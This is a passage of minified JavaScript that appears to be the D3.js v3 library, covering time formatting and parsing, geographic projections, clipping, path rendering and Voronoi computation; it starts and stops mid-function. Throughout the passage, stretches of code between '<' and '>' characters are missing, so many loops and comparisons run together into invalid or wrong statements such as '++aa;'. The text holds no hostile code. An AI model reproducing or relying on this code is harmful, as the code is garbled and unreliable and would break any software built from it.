e=d;if(y&&n%1)return"";var i=0>n||0===n&&0>1/n?(n=-n,"-"):"-"===a?"":a;if(0>g){var l=ao.formatPrefix(n,h);n=l.scale(n),e=l.symbol+d}else n*=g;n=p(n,h);var x,b,_=n.lastIndexOf(".");if(0>_){var w=m?n.lastIndexOf("e"):-1;0>w?(x=n,b=""):(x=n.substring(0,w),b=n.substring(w))}else x=n.substring(0,_),b=t+n.substring(_+1);!c&&s&&(x=u(x,1/0));var S=v.length+x.length+b.length+(M?0:i.length),k=f>S?new Array(S=f-S+1).join(r):"";return M&&(x=u(k+x,k.length?f-b.length:1/0)),i+=v,n=x+b,("<"===o?i+n+k:">"===o?k+i+n:"^"===o?k.substring(0,S>>=1)+i+n+k.substring(S):i+(M?n:k+n))+e}}}function Fn(n){return n+""}function Hn(){this._=new Date(arguments.length>1?Date.UTC.apply(this,arguments):arguments[0])}function On(n,t,e){function r(t){var e=n(t),r=u(e,1);return r-t>t-e?e:r}function i(e){return t(e=n(new va(e-1)),1),e}function u(n,e){return t(n=new va(+n),e),n}function o(n,r,u){var o=i(n),a=[];if(u>1)for(;r>o;)e(o)%u||a.push(new Date(+o)),t(o,1);else for(;r>o;)a.push(new Date(+o)),t(o,1);return a}function a(n,t,e){try{va=Hn;var r=new Hn;return r._=n,o(r,t,e)}finally{va=Date}}n.floor=n,n.round=r,n.ceil=i,n.offset=u,n.range=o;var l=n.utc=In(n);return l.floor=l,l.round=In(r),l.ceil=In(i),l.offset=In(u),l.range=a,n}function In(n){return function(t,e){try{va=Hn;var r=new Hn;return r._=t,n(r,e)._}finally{va=Date}}}function Yn(n){function t(n){function t(t){for(var e,i,u,o=[],a=-1,l=0;++aa;){if(r>=c)return-1;if(i=t.charCodeAt(a++),37===i){if(o=t.charAt(a++),u=C[o in ya?t.charAt(a++):o],!u||(r=u(n,e,r))<0)return-1}else if(i!=e.charCodeAt(r++))return-1}return r}function r(n,t,e){_.lastIndex=0;var r=_.exec(t.slice(e));return r?(n.w=w.get(r[0].toLowerCase()),e+r[0].length):-1}function i(n,t,e){x.lastIndex=0;var r=x.exec(t.slice(e));return r?(n.w=b.get(r[0].toLowerCase()),e+r[0].length):-1}function u(n,t,e){N.lastIndex=0;var r=N.exec(t.slice(e));return r?(n.m=E.get(r[0].toLowerCase()),e+r[0].length):-1}function o(n,t,e){S.lastIndex=0;var r=S.exec(t.slice(e));return r?(n.m=k.get(r[0].toLowerCase()),e+r[0].length):-1}function a(n,t,r){return e(n,A.c.toString(),t,r)}function l(n,t,r){return e(n,A.x.toString(),t,r)}function c(n,t,r){return e(n,A.X.toString(),t,r)}function f(n,t,e){var r=M.get(t.slice(e,e+=2).toLowerCase());return null==r?-1:(n.p=r,e)}var s=n.dateTime,h=n.date,p=n.time,g=n.periods,v=n.days,d=n.shortDays,y=n.months,m=n.shortMonths;t.utc=function(n){function e(n){try{va=Hn;var t=new va;return t._=n,r(t)}finally{va=Date}}var r=t(n);return e.parse=function(n){try{va=Hn;var t=r.parse(n);return t&&t._}finally{va=Date}},e.toString=r.toString,e},t.multi=t.utc.multi=ct;var M=ao.map(),x=Vn(v),b=Xn(v),_=Vn(d),w=Xn(d),S=Vn(y),k=Xn(y),N=Vn(m),E=Xn(m);g.forEach(function(n,t){M.set(n.toLowerCase(),t)});var A={a:function(n){return d[n.getDay()]},A:function(n){return v[n.getDay()]},b:function(n){return m[n.getMonth()]},B:function(n){return y[n.getMonth()]},c:t(s),d:function(n,t){return Zn(n.getDate(),t,2)},e:function(n,t){return Zn(n.getDate(),t,2)},H:function(n,t){return Zn(n.getHours(),t,2)},I:function(n,t){return Zn(n.getHours()%12||12,t,2)},j:function(n,t){return Zn(1+ga.dayOfYear(n),t,3)},L:function(n,t){return Zn(n.getMilliseconds(),t,3)},m:function(n,t){return Zn(n.getMonth()+1,t,2)},M:function(n,t){return Zn(n.getMinutes(),t,2)},p:function(n){return g[+(n.getHours()>=12)]},S:function(n,t){return Zn(n.getSeconds(),t,2)},U:function(n,t){return Zn(ga.sundayOfYear(n),t,2)},w:function(n){return n.getDay()},W:function(n,t){return Zn(ga.mondayOfYear(n),t,2)},x:t(h),X:t(p),y:function(n,t){return Zn(n.getFullYear()%100,t,2)},Y:function(n,t){return Zn(n.getFullYear()%1e4,t,4)},Z:at,"%":function(){return"%"}},C={a:r,A:i,b:u,B:o,c:a,d:tt,e:tt,H:rt,I:rt,j:et,L:ot,m:nt,M:it,p:f,S:ut,U:Bn,w:$n,W:Wn,x:l,X:c,y:Gn,Y:Jn,Z:Kn,"%":lt};return t}function Zn(n,t,e){var r=0>n?"-":"",i=(r?-n:n)+"",u=i.length;return r+(e>u?new Array(e-u+1).join(t)+i:i)}function Vn(n){return new RegExp("^(?:"+n.map(ao.requote).join("|")+")","i")}function Xn(n){for(var t=new c,e=-1,r=n.length;++e68?1900:2e3)}function nt(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.m=r[0]-1,e+r[0].length):-1}function tt(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.d=+r[0],e+r[0].length):-1}function et(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+3));return r?(n.j=+r[0],e+r[0].length):-1}function rt(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.H=+r[0],e+r[0].length):-1}function it(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.M=+r[0],e+r[0].length):-1}function ut(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+2));return r?(n.S=+r[0],e+r[0].length):-1}function ot(n,t,e){ma.lastIndex=0;var r=ma.exec(t.slice(e,e+3));return r?(n.L=+r[0],e+r[0].length):-1}function at(n){var t=n.getTimezoneOffset(),e=t>0?"-":"+",r=xo(t)/60|0,i=xo(t)%60;return e+Zn(r,"0",2)+Zn(i,"0",2)}function lt(n,t,e){Ma.lastIndex=0;var r=Ma.exec(t.slice(e,e+1));return r?e+r[0].length:-1}function ct(n){for(var t=n.length,e=-1;++e=0?1:-1,a=o*e,l=Math.cos(t),c=Math.sin(t),f=u*c,s=i*l+f*Math.cos(a),h=f*o*Math.sin(a);ka.add(Math.atan2(h,s)),r=n,i=l,u=c}var t,e,r,i,u;Na.point=function(o,a){Na.point=n,r=(t=o)*Yo,i=Math.cos(a=(e=a)*Yo/2+Fo/4),u=Math.sin(a)},Na.lineEnd=function(){n(t,e)}}function dt(n){var t=n[0],e=n[1],r=Math.cos(e);return[r*Math.cos(t),r*Math.sin(t),Math.sin(e)]}function yt(n,t){return n[0]*t[0]+n[1]*t[1]+n[2]*t[2]}function mt(n,t){return[n[1]*t[2]-n[2]*t[1],n[2]*t[0]-n[0]*t[2],n[0]*t[1]-n[1]*t[0]]}function Mt(n,t){n[0]+=t[0],n[1]+=t[1],n[2]+=t[2]}function xt(n,t){return[n[0]*t,n[1]*t,n[2]*t]}function bt(n){var t=Math.sqrt(n[0]*n[0]+n[1]*n[1]+n[2]*n[2]);n[0]/=t,n[1]/=t,n[2]/=t}function _t(n){return[Math.atan2(n[1],n[0]),tn(n[2])]}function wt(n,t){return xo(n[0]-t[0])a;++a)i.point((e=n[a])[0],e[1]);return void i.lineEnd()}var l=new Tt(e,n,null,!0),c=new Tt(e,null,l,!1);l.o=c,u.push(l),o.push(c),l=new Tt(r,n,null,!1),c=new Tt(r,null,l,!0),l.o=c,u.push(l),o.push(c)}}),o.sort(t),qt(u),qt(o),u.length){for(var a=0,l=e,c=o.length;c>a;++a)o[a].e=l=!l;for(var f,s,h=u[0];;){for(var p=h,g=!0;p.v;)if((p=p.n)===h)return;f=p.z,i.lineStart();do{if(p.v=p.o.v=!0,p.e){if(g)for(var a=0,c=f.length;c>a;++a)i.point((s=f[a])[0],s[1]);else r(p.x,p.n.x,1,i);p=p.n}else{if(g){f=p.p.z;for(var a=f.length-1;a>=0;--a)i.point((s=f[a])[0],s[1])}else r(p.x,p.p.x,-1,i);p=p.p}p=p.o,f=p.z,g=!g}while(!p.v);i.lineEnd()}}}function qt(n){if(t=n.length){for(var t,e,r=0,i=n[0];++r0){for(b||(u.polygonStart(),b=!0),u.lineStart();++o1&&2&t&&e.push(e.pop().concat(e.shift())),p.push(e.filter(Dt))}var p,g,v,d=t(u),y=i.invert(r[0],r[1]),m={point:o,lineStart:l,lineEnd:c,polygonStart:function(){m.point=f,m.lineStart=s,m.lineEnd=h,p=[],g=[]},polygonEnd:function(){m.point=o,m.lineStart=l,m.lineEnd=c,p=ao.merge(p);var n=Ot(y,g);p.length?(b||(u.polygonStart(),b=!0),Lt(p,Ut,n,e,u)):n&&(b||(u.polygonStart(),b=!0),u.lineStart(),e(null,null,1,u),u.lineEnd()),b&&(u.polygonEnd(),b=!1),p=g=null},sphere:function(){u.polygonStart(),u.lineStart(),e(null,null,1,u),u.lineEnd(),u.polygonEnd()}},M=Pt(),x=t(M),b=!1;return m}}function Dt(n){return n.length>1}function Pt(){var n,t=[];return{lineStart:function(){t.push(n=[])},point:function(t,e){n.push([t,e])},lineEnd:b,buffer:function(){var e=t;return t=[],n=null,e},rejoin:function(){t.length>1&&t.push(t.pop().concat(t.shift()))}}}function Ut(n,t){return((n=n.x)[0]<0?n[1]-Io-Uo:Io-n[1])-((t=t.x)[0]<0?t[1]-Io-Uo:Io-t[1])}function jt(n){var t,e=NaN,r=NaN,i=NaN;return{lineStart:function(){n.lineStart(),t=1},point:function(u,o){var a=u>0?Fo:-Fo,l=xo(u-e);xo(l-Fo)0?Io:-Io),n.point(i,r),n.lineEnd(),n.lineStart(),n.point(a,r),n.point(u,r),t=0):i!==a&&l>=Fo&&(xo(e-i)Uo?Math.atan((Math.sin(t)*(u=Math.cos(r))*Math.sin(e)-Math.sin(r)*(i=Math.cos(t))*Math.sin(n))/(i*u*o)):(t+r)/2}function Ht(n,t,e,r){var i;if(null==n)i=e*Io,r.point(-Fo,i),r.point(0,i),r.point(Fo,i),r.point(Fo,0),r.point(Fo,-i),r.point(0,-i),r.point(-Fo,-i),r.point(-Fo,0),r.point(-Fo,i);else if(xo(n[0]-t[0])>Uo){var u=n[0]a;++a){var c=t[a],f=c.length;if(f)for(var s=c[0],h=s[0],p=s[1]/2+Fo/4,g=Math.sin(p),v=Math.cos(p),d=1;;){d===f&&(d=0),n=c[d];var y=n[0],m=n[1]/2+Fo/4,M=Math.sin(m),x=Math.cos(m),b=y-h,_=b>=0?1:-1,w=_*b,S=w>Fo,k=g*M;if(ka.add(Math.atan2(k*_*Math.sin(w),v*x+k*Math.cos(w))),u+=S?b+_*Ho:b,S^h>=e^y>=e){var N=mt(dt(s),dt(n));bt(N);var E=mt(i,N);bt(E);var A=(S^b>=0?-1:1)*tn(E[2]);(r>A||r===A&&(N[0]||N[1]))&&(o+=S^b>=0?1:-1)}if(!d++)break;h=y,g=M,v=x,s=n}}return(-Uo>u||Uo>u&&-Uo>ka)^1&o}function It(n){function t(n,t){return Math.cos(n)*Math.cos(t)>u}function e(n){var e,u,l,c,f;return{lineStart:function(){c=l=!1,f=1},point:function(s,h){var p,g=[s,h],v=t(s,h),d=o?v?0:i(s,h):v?i(s+(0>s?Fo:-Fo),h):0;if(!e&&(c=l=v)&&n.lineStart(),v!==l&&(p=r(e,g),(wt(e,p)||wt(g,p))&&(g[0]+=Uo,g[1]+=Uo,v=t(g[0],g[1]))),v!==l)f=0,v?(n.lineStart(),p=r(g,e),n.point(p[0],p[1])):(p=r(e,g),n.point(p[0],p[1]),n.lineEnd()),e=p;else if(a&&e&&o^v){var y;d&u||!(y=r(g,e,!0))||(f=0,o?(n.lineStart(),n.point(y[0][0],y[0][1]),n.point(y[1][0],y[1][1]),n.lineEnd()):(n.point(y[1][0],y[1][1]),n.lineEnd(),n.lineStart(),n.point(y[0][0],y[0][1])))}!v||e&&wt(e,g)||n.point(g[0],g[1]),e=g,l=v,u=d},lineEnd:function(){l&&n.lineEnd(),e=null},clean:function(){return f|(c&&l)<<1}}}function r(n,t,e){var r=dt(n),i=dt(t),o=[1,0,0],a=mt(r,i),l=yt(a,a),c=a[0],f=l-c*c;if(!f)return!e&&n;var s=u*l/f,h=-u*c/f,p=mt(o,a),g=xt(o,s),v=xt(a,h);Mt(g,v);var d=p,y=yt(g,d),m=yt(d,d),M=y*y-m*(yt(g,g)-1);if(!(0>M)){var x=Math.sqrt(M),b=xt(d,(-y-x)/m);if(Mt(b,g),b=_t(b),!e)return b;var _,w=n[0],S=t[0],k=n[1],N=t[1];w>S&&(_=w,w=S,S=_);var E=S-w,A=xo(E-Fo)E;if(!A&&k>N&&(_=k,k=N,N=_),C?A?k+N>0^b[1]<(xo(b[0]-w)Fo^(w<=b[0]&&b[0]<=S)){var z=xt(d,(-y+x)/m);return Mt(z,g),[b,_t(z)]}}}function i(t,e){var r=o?n:Fo-n,i=0;return-r>t?i|=1:t>r&&(i|=2),-r>e?i|=4:e>r&&(i|=8),i}var u=Math.cos(n),o=u>0,a=xo(u)>Uo,l=ve(n,6*Yo);return Rt(t,e,l,o?[0,-n]:[-Fo,n-Fo])}function Yt(n,t,e,r){return function(i){var u,o=i.a,a=i.b,l=o.x,c=o.y,f=a.x,s=a.y,h=0,p=1,g=f-l,v=s-c;if(u=n-l,g||!(u>0)){if(u/=g,0>g){if(h>u)return;p>u&&(p=u)}else if(g>0){if(u>p)return;u>h&&(h=u)}if(u=e-l,g||!(0>u)){if(u/=g,0>g){if(u>p)return;u>h&&(h=u)}else if(g>0){if(h>u)return;p>u&&(p=u)}if(u=t-c,v||!(u>0)){if(u/=v,0>v){if(h>u)return;p>u&&(p=u)}else if(v>0){if(u>p)return;u>h&&(h=u)}if(u=r-c,v||!(0>u)){if(u/=v,0>v){if(u>p)return;u>h&&(h=u)}else if(v>0){if(h>u)return;p>u&&(p=u)}return h>0&&(i.a={x:l+h*g,y:c+h*v}),1>p&&(i.b={x:l+p*g,y:c+p*v}),i}}}}}}function Zt(n,t,e,r){function i(r,i){return xo(r[0]-n)0?0:3:xo(r[0]-e)0?2:1:xo(r[1]-t)0?1:0:i>0?3:2}function u(n,t){return o(n.x,t.x)}function o(n,t){var e=i(n,1),r=i(t,1);return e!==r?e-r:0===e?t[1]-n[1]:1===e?n[0]-t[0]:2===e?n[1]-t[1]:t[0]-n[0]}return function(a){function l(n){for(var t=0,e=d.length,r=n[1],i=0;e>i;++i)for(var u,o=1,a=d[i],l=a.length,c=a[0];l>o;++o)u=a[o],c[1]<=r?u[1]>r&&Q(c,u,n)>0&&++t:u[1]<=r&&Q(c,u,n)<0&&--t,c=u;return 0!==t}function c(u,a,l,c){var f=0,s=0;if(null==u||(f=i(u,l))!==(s=i(a,l))||o(u,a)<0^l>0){do c.point(0===f||3===f?n:e,f>1?r:t);while((f=(f+l+4)%4)!==s)}else c.point(a[0],a[1])}function f(i,u){return i>=n&&e>=i&&u>=t&&r>=u}function s(n,t){f(n,t)&&a.point(n,t)}function h(){C.point=g,d&&d.push(y=[]),S=!0,w=!1,b=_=NaN}function p(){v&&(g(m,M),x&&w&&E.rejoin(),v.push(E.buffer())),C.point=s,w&&a.lineEnd()}function g(n,t){n=Math.max(-Ha,Math.min(Ha,n)),t=Math.max(-Ha,Math.min(Ha,t));var e=f(n,t);if(d&&y.push([n,t]),S)m=n,M=t,x=e,S=!1,e&&(a.lineStart(),a.point(n,t));else if(e&&w)a.point(n,t);else{var r={a:{x:b,y:_},b:{x:n,y:t}};A(r)?(w||(a.lineStart(),a.point(r.a.x,r.a.y)),a.point(r.b.x,r.b.y),e||a.lineEnd(),k=!1):e&&(a.lineStart(),a.point(n,t),k=!1)}b=n,_=t,w=e}var v,d,y,m,M,x,b,_,w,S,k,N=a,E=Pt(),A=Yt(n,t,e,r),C={point:s,lineStart:h,lineEnd:p,polygonStart:function(){a=E,v=[],d=[],k=!0},polygonEnd:function(){a=N,v=ao.merge(v);var t=l([n,r]),e=k&&t,i=v.length;(e||i)&&(a.polygonStart(),e&&(a.lineStart(),c(null,null,1,a),a.lineEnd()),i&&Lt(v,u,t,c,a),a.polygonEnd()),v=d=y=null}};return C}}function Vt(n){var t=0,e=Fo/3,r=ae(n),i=r(t,e);return i.parallels=function(n){return arguments.length?r(t=n[0]*Fo/180,e=n[1]*Fo/180):[t/Fo*180,e/Fo*180]},i}function Xt(n,t){function e(n,t){var e=Math.sqrt(u-2*i*Math.sin(t))/i;return[e*Math.sin(n*=i),o-e*Math.cos(n)]}var r=Math.sin(n),i=(r+Math.sin(t))/2,u=1+r*(2*i-r),o=Math.sqrt(u)/i;return e.invert=function(n,t){var e=o-t;return[Math.atan2(n,e)/i,tn((u-(n*n+e*e)*i*i)/(2*i))]},e}function $t(){function n(n,t){Ia+=i*n-r*t,r=n,i=t}var t,e,r,i;$a.point=function(u,o){$a.point=n,t=r=u,e=i=o},$a.lineEnd=function(){n(t,e)}}function Bt(n,t){Ya>n&&(Ya=n),n>Va&&(Va=n),Za>t&&(Za=t),t>Xa&&(Xa=t)}function Wt(){function n(n,t){o.push("M",n,",",t,u)}function t(n,t){o.push("M",n,",",t),a.point=e}function e(n,t){o.push("L",n,",",t)}function r(){a.point=n}function i(){o.push("Z")}var u=Jt(4.5),o=[],a={point:n,lineStart:function(){a.point=t},lineEnd:r,polygonStart:function(){a.lineEnd=i},polygonEnd:function(){a.lineEnd=r,a.point=n},pointRadius:function(n){return u=Jt(n),a},result:function(){if(o.length){var n=o.join("");return o=[],n}}};return a}function Jt(n){return"m0,"+n+"a"+n+","+n+" 0 1,1 0,"+-2*n+"a"+n+","+n+" 0 1,1 0,"+2*n+"z"}function Gt(n,t){Ca+=n,za+=t,++La}function Kt(){function n(n,r){var i=n-t,u=r-e,o=Math.sqrt(i*i+u*u);qa+=o*(t+n)/2,Ta+=o*(e+r)/2,Ra+=o,Gt(t=n,e=r)}var t,e;Wa.point=function(r,i){Wa.point=n,Gt(t=r,e=i)}}function Qt(){Wa.point=Gt}function ne(){function n(n,t){var e=n-r,u=t-i,o=Math.sqrt(e*e+u*u);qa+=o*(r+n)/2,Ta+=o*(i+t)/2,Ra+=o,o=i*n-r*t,Da+=o*(r+n),Pa+=o*(i+t),Ua+=3*o,Gt(r=n,i=t)}var t,e,r,i;Wa.point=function(u,o){Wa.point=n,Gt(t=r=u,e=i=o)},Wa.lineEnd=function(){n(t,e)}}function te(n){function t(t,e){n.moveTo(t+o,e),n.arc(t,e,o,0,Ho)}function e(t,e){n.moveTo(t,e),a.point=r}function r(t,e){n.lineTo(t,e)}function i(){a.point=t}function u(){n.closePath()}var o=4.5,a={point:t,lineStart:function(){a.point=e},lineEnd:i,polygonStart:function(){a.lineEnd=u},polygonEnd:function(){a.lineEnd=i,a.point=t},pointRadius:function(n){return o=n,a},result:b};return a}function ee(n){function t(n){return(a?r:e)(n)}function e(t){return ue(t,function(e,r){e=n(e,r),t.point(e[0],e[1])})}function r(t){function e(e,r){e=n(e,r),t.point(e[0],e[1])}function r(){M=NaN,S.point=u,t.lineStart()}function u(e,r){var u=dt([e,r]),o=n(e,r);i(M,x,m,b,_,w,M=o[0],x=o[1],m=e,b=u[0],_=u[1],w=u[2],a,t),t.point(M,x)}function o(){S.point=e,t.lineEnd()}function l(){ r(),S.point=c,S.lineEnd=f}function c(n,t){u(s=n,h=t),p=M,g=x,v=b,d=_,y=w,S.point=u}function f(){i(M,x,m,b,_,w,p,g,s,v,d,y,a,t),S.lineEnd=o,o()}var s,h,p,g,v,d,y,m,M,x,b,_,w,S={point:e,lineStart:r,lineEnd:o,polygonStart:function(){t.polygonStart(),S.lineStart=l},polygonEnd:function(){t.polygonEnd(),S.lineStart=r}};return S}function i(t,e,r,a,l,c,f,s,h,p,g,v,d,y){var m=f-t,M=s-e,x=m*m+M*M;if(x>4*u&&d--){var b=a+p,_=l+g,w=c+v,S=Math.sqrt(b*b+_*_+w*w),k=Math.asin(w/=S),N=xo(xo(w)-1)u||xo((m*z+M*L)/x-.5)>.3||o>a*p+l*g+c*v)&&(i(t,e,r,a,l,c,A,C,N,b/=S,_/=S,w,d,y),y.point(A,C),i(A,C,N,b,_,w,f,s,h,p,g,v,d,y))}}var u=.5,o=Math.cos(30*Yo),a=16;return t.precision=function(n){return arguments.length?(a=(u=n*n)>0&&16,t):Math.sqrt(u)},t}function re(n){var t=ee(function(t,e){return n([t*Zo,e*Zo])});return function(n){return le(t(n))}}function ie(n){this.stream=n}function ue(n,t){return{point:t,sphere:function(){n.sphere()},lineStart:function(){n.lineStart()},lineEnd:function(){n.lineEnd()},polygonStart:function(){n.polygonStart()},polygonEnd:function(){n.polygonEnd()}}}function oe(n){return ae(function(){return n})()}function ae(n){function t(n){return n=a(n[0]*Yo,n[1]*Yo),[n[0]*h+l,c-n[1]*h]}function e(n){return n=a.invert((n[0]-l)/h,(c-n[1])/h),n&&[n[0]*Zo,n[1]*Zo]}function r(){a=Ct(o=se(y,M,x),u);var n=u(v,d);return l=p-n[0]*h,c=g+n[1]*h,i()}function i(){return f&&(f.valid=!1,f=null),t}var u,o,a,l,c,f,s=ee(function(n,t){return n=u(n,t),[n[0]*h+l,c-n[1]*h]}),h=150,p=480,g=250,v=0,d=0,y=0,M=0,x=0,b=Fa,_=m,w=null,S=null;return t.stream=function(n){return f&&(f.valid=!1),f=le(b(o,s(_(n)))),f.valid=!0,f},t.clipAngle=function(n){return arguments.length?(b=null==n?(w=n,Fa):It((w=+n)*Yo),i()):w},t.clipExtent=function(n){return arguments.length?(S=n,_=n?Zt(n[0][0],n[0][1],n[1][0],n[1][1]):m,i()):S},t.scale=function(n){return arguments.length?(h=+n,r()):h},t.translate=function(n){return arguments.length?(p=+n[0],g=+n[1],r()):[p,g]},t.center=function(n){return arguments.length?(v=n[0]%360*Yo,d=n[1]%360*Yo,r()):[v*Zo,d*Zo]},t.rotate=function(n){return arguments.length?(y=n[0]%360*Yo,M=n[1]%360*Yo,x=n.length>2?n[2]%360*Yo:0,r()):[y*Zo,M*Zo,x*Zo]},ao.rebind(t,s,"precision"),function(){return u=n.apply(this,arguments),t.invert=u.invert&&e,r()}}function le(n){return ue(n,function(t,e){n.point(t*Yo,e*Yo)})}function ce(n,t){return[n,t]}function fe(n,t){return[n>Fo?n-Ho:-Fo>n?n+Ho:n,t]}function se(n,t,e){return n?t||e?Ct(pe(n),ge(t,e)):pe(n):t||e?ge(t,e):fe}function he(n){return function(t,e){return t+=n,[t>Fo?t-Ho:-Fo>t?t+Ho:t,e]}}function pe(n){var t=he(n);return t.invert=he(-n),t}function ge(n,t){function e(n,t){var e=Math.cos(t),a=Math.cos(n)*e,l=Math.sin(n)*e,c=Math.sin(t),f=c*r+a*i;return[Math.atan2(l*u-f*o,a*r-c*i),tn(f*u+l*o)]}var r=Math.cos(n),i=Math.sin(n),u=Math.cos(t),o=Math.sin(t);return e.invert=function(n,t){var e=Math.cos(t),a=Math.cos(n)*e,l=Math.sin(n)*e,c=Math.sin(t),f=c*u-l*o;return[Math.atan2(l*u+c*o,a*r+f*i),tn(f*r-a*i)]},e}function ve(n,t){var e=Math.cos(n),r=Math.sin(n);return function(i,u,o,a){var l=o*t;null!=i?(i=de(e,i),u=de(e,u),(o>0?u>i:i>u)&&(i+=o*Ho)):(i=n+o*Ho,u=n-.5*l);for(var c,f=i;o>0?f>u:u>f;f-=l)a.point((c=_t([e,-r*Math.cos(f),-r*Math.sin(f)]))[0],c[1])}}function de(n,t){var e=dt(t);e[0]-=n,bt(e);var r=nn(-e[1]);return((-e[2]<0?-r:r)+2*Math.PI-Uo)%(2*Math.PI)}function ye(n,t,e){var r=ao.range(n,t-Uo,e).concat(t);return function(n){return r.map(function(t){return[n,t]})}}function me(n,t,e){var r=ao.range(n,t-Uo,e).concat(t);return function(n){return r.map(function(t){return[t,n]})}}function Me(n){return n.source}function xe(n){return n.target}function be(n,t,e,r){var i=Math.cos(t),u=Math.sin(t),o=Math.cos(r),a=Math.sin(r),l=i*Math.cos(n),c=i*Math.sin(n),f=o*Math.cos(e),s=o*Math.sin(e),h=2*Math.asin(Math.sqrt(on(r-t)+i*o*on(e-n))),p=1/Math.sin(h),g=h?function(n){var t=Math.sin(n*=h)*p,e=Math.sin(h-n)*p,r=e*l+t*f,i=e*c+t*s,o=e*u+t*a;return[Math.atan2(i,r)*Zo,Math.atan2(o,Math.sqrt(r*r+i*i))*Zo]}:function(){return[n*Zo,t*Zo]};return g.distance=h,g}function _e(){function n(n,i){var u=Math.sin(i*=Yo),o=Math.cos(i),a=xo((n*=Yo)-t),l=Math.cos(a);Ja+=Math.atan2(Math.sqrt((a=o*Math.sin(a))*a+(a=r*u-e*o*l)*a),e*u+r*o*l),t=n,e=u,r=o}var t,e,r;Ga.point=function(i,u){t=i*Yo,e=Math.sin(u*=Yo),r=Math.cos(u),Ga.point=n},Ga.lineEnd=function(){Ga.point=Ga.lineEnd=b}}function we(n,t){function e(t,e){var r=Math.cos(t),i=Math.cos(e),u=n(r*i);return[u*i*Math.sin(t),u*Math.sin(e)]}return e.invert=function(n,e){var r=Math.sqrt(n*n+e*e),i=t(r),u=Math.sin(i),o=Math.cos(i);return[Math.atan2(n*u,r*o),Math.asin(r&&e*u/r)]},e}function Se(n,t){function e(n,t){o>0?-Io+Uo>t&&(t=-Io+Uo):t>Io-Uo&&(t=Io-Uo);var e=o/Math.pow(i(t),u);return[e*Math.sin(u*n),o-e*Math.cos(u*n)]}var r=Math.cos(n),i=function(n){return Math.tan(Fo/4+n/2)},u=n===t?Math.sin(n):Math.log(r/Math.cos(t))/Math.log(i(t)/i(n)),o=r*Math.pow(i(n),u)/u;return u?(e.invert=function(n,t){var e=o-t,r=K(u)*Math.sqrt(n*n+e*e);return[Math.atan2(n,e)/u,2*Math.atan(Math.pow(o/r,1/u))-Io]},e):Ne}function ke(n,t){function e(n,t){var e=u-t;return[e*Math.sin(i*n),u-e*Math.cos(i*n)]}var r=Math.cos(n),i=n===t?Math.sin(n):(r-Math.cos(t))/(t-n),u=r/i+n;return xo(i)i;i++){for(;r>1&&Q(n[e[r-2]],n[e[r-1]],n[i])<=0;)--r;e[r++]=i}return e.slice(0,r)}function qe(n,t){return n[0]-t[0]||n[1]-t[1]}function Te(n,t,e){return(e[0]-t[0])*(n[1]-t[1])<(e[1]-t[1])*(n[0]-t[0])}function Re(n,t,e,r){var i=n[0],u=e[0],o=t[0]-i,a=r[0]-u,l=n[1],c=e[1],f=t[1]-l,s=r[1]-c,h=(a*(l-c)-s*(i-u))/(s*o-a*f);return[i+h*o,l+h*f]}function De(n){var t=n[0],e=n[n.length-1];return!(t[0]-e[0]||t[1]-e[1])}function Pe(){rr(this),this.edge=this.site=this.circle=null}function Ue(n){var t=cl.pop()||new Pe;return t.site=n,t}function je(n){Be(n),ol.remove(n),cl.push(n),rr(n)}function Fe(n){var t=n.circle,e=t.x,r=t.cy,i={x:e,y:r},u=n.P,o=n.N,a=[n];je(n);for(var l=u;l.circle&&xo(e-l.circle.x)f;++f)c=a[f],l=a[f-1],nr(c.edge,l.site,c.site,i);l=a[0],c=a[s-1],c.edge=Ke(l.site,c.site,null,i),$e(l),$e(c)}function He(n){for(var t,e,r,i,u=n.x,o=n.y,a=ol._;a;)if(r=Oe(a,o)-u,r>Uo)a=a.L;else{if(i=u-Ie(a,o),!(i>Uo)){r>-Uo?(t=a.P,e=a):i>-Uo?(t=a,e=a.N):t=e=a;break}if(!a.R){t=a;break}a=a.R}var l=Ue(n);if(ol.insert(t,l),t||e){if(t===e)return Be(t),e=Ue(t.site),ol.insert(l,e),l.edge=e.edge=Ke(t.site,l.site),$e(t),void $e(e);if(!e)return void(l.edge=Ke(t.site,l.site));Be(t),Be(e);var c=t.site,f=c.x,s=c.y,h=n.x-f,p=n.y-s,g=e.site,v=g.x-f,d=g.y-s,y=2*(h*d-p*v),m=h*h+p*p,M=v*v+d*d,x={x:(d*m-p*M)/y+f,y:(h*M-v*m)/y+s};nr(e.edge,c,g,x),l.edge=Ke(c,n,null,x),e.edge=Ke(n,g,null,x),$e(t),$e(e)}}function Oe(n,t){var e=n.site,r=e.x,i=e.y,u=i-t;if(!u)return r;var o=n.P;if(!o)return-(1/0);e=o.site;var a=e.x,l=e.y,c=l-t;if(!c)return a;var f=a-r,s=1/u-1/c,h=f/c;return s?(-h+Math.sqrt(h*h-2*s*(f*f/(-2*c)-l+c/2+i-u/2)))/s+r:(r+a)/2}function Ie(n,t){var e=n.N;if(e)return Oe(e,t);var r=n.site;return r.y===t?r.x:1/0}function Ye(n){this.site=n,this.edges=[]}function Ze(n){for(var t,e,r,i,u,o,a,l,c,f,s=n[0][0],h=n[1][0],p=n[0][1],g=n[1][1],v=ul,d=v.length;d--;)if(u=v[d],u&&u.prepare())for(a=u.edges,l=a.length,o=0;l>o;)f=a[o].end(),r=f.x,i=f.y,c=a[++o%l].start(),t=c.x,e=c.y,(xo(r-t)>Uo||xo(i-e)>Uo)&&(a.splice(o,0,new tr(Qe(u.site,f,xo(r-s)Uo?{x:s,y:xo(t-s)Uo?{x:xo(e-g)Uo?{x:h,y:xo(t-h)Uo?{x:xo(e-p)=-jo)){var p=l*l+c*c,g=f*f+s*s,v=(s*p-c*g)/h,d=(l*g-f*p)/h,s=d+a,y=fl.pop()||new Xe;y.arc=n,y.site=i,y.x=v+o,y.y=s+Math.sqrt(v*v+d*d),y.cy=s,n.circle=y;for(var m=null,M=ll._;M;)if(y.yd||d>=a)return;if(h>g){if(u){if(u.y>=c)return}else u={x:d,y:l};e={x:d,y:c}}else{if(u){if(u.yr||r>1)if(h>g){if(u){if(u.y>=c)return}else u={x:(l-i)/r,y:l};e={x:(c-i)/r,y:c}}else{if(u){if(u.yp){if(u){if(u.x>=a)return}else 